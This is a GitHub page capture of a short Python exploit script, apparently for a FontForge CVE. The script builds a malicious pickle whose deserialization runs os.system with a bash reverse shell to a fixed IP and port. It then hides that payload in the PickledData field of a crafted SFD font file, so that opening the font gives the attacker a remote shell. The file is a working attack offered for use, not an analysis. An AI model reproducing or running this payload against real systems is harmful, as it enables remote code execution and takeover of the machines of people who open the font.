-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCVE-2025-15276-rce.py
More file actions
37 lines (29 loc) · 878 Bytes
/
Copy pathCVE-2025-15276-rce.py
File metadata and controls
37 lines (29 loc) · 878 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import pickle
LHOST = "10.10.17.34"
LPORT = "5555"
# for Reverse shell
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the exploit class (Protocol 0 for ASCII compatibility)
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape for SFD format (FontForge expects escaped backslashes and quotes)
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct a minimal SFD file
sfd_content = f"""SplineFontDB: 3.2
FontName: Exploit
FullName: Exploit
FamilyName: Exploit
Weight: Regular
Version: 001.000
PickledData: "{escaped_payload}"
BeginChars: 256 0
EndChars
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully!")
print(f"[+] Payload: {cmd}")